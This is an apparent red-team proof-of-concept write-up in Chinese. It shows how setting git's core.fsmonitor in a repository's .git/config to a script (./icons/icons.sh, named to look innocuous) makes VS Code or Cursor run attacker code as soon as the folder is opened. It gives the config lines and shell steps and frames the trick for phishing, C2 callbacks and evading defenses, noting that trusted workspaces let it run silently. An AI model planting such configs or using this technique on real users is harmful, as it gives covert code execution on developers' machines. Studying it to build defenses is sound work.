这是一个已被记录(已知)的问题,但我在研究过程中发现了它,并且它对红队/渗透测试非常有用。
摘要: git 会在每次执行 git status、git diff 等命令时运行 FSMonitor 辅助程序,因此 git 会盲目地启动我们指定路径下的任何内容。我们的 IDE 在打开文件夹时会自动运行 git status 以填充其 SCM(源代码管理)面板;
这使得 git 能够生成配置好的辅助程序,从而执行攻击者控制的代码。这种技术可用于红队行动或假设已被攻破的场景中,配合任何 C2 或我们的 XRayC2 获取回调,从而绕过传统网络防御。(当然,需要发送钓鱼邮件来欺骗最终用户,但在 IDE 中打开文件夹似乎是一个合理的操作。)
证明概念:git clone 本仓库,将以下配置添加到你的 .git 目录下。完成后,用 IDE 打开该构造好的文件夹,计算器应会弹出。(我已在 Code 和 Cursor 上测试过)。此 POC 针对 macOS,请根据你的环境进行修改。
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
在 Code 上测试
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
这是因为我们初始化了仓库,然后将 core.fsmonitor 添加到一个文件中(该文件可以是一个有效载荷)。因此,打开一个文件夹就足以执行你的代码。“大多数”开发者/用户都将 ~/Downloads(以及类似的顶级文件夹)放在受信任的工作区中,因此 PoC 可以静默运行;但如果仓库位于这些受信任路径之外,IDE 会在读取 .git/config 之前弹出“是否信任此发布者?”的提示。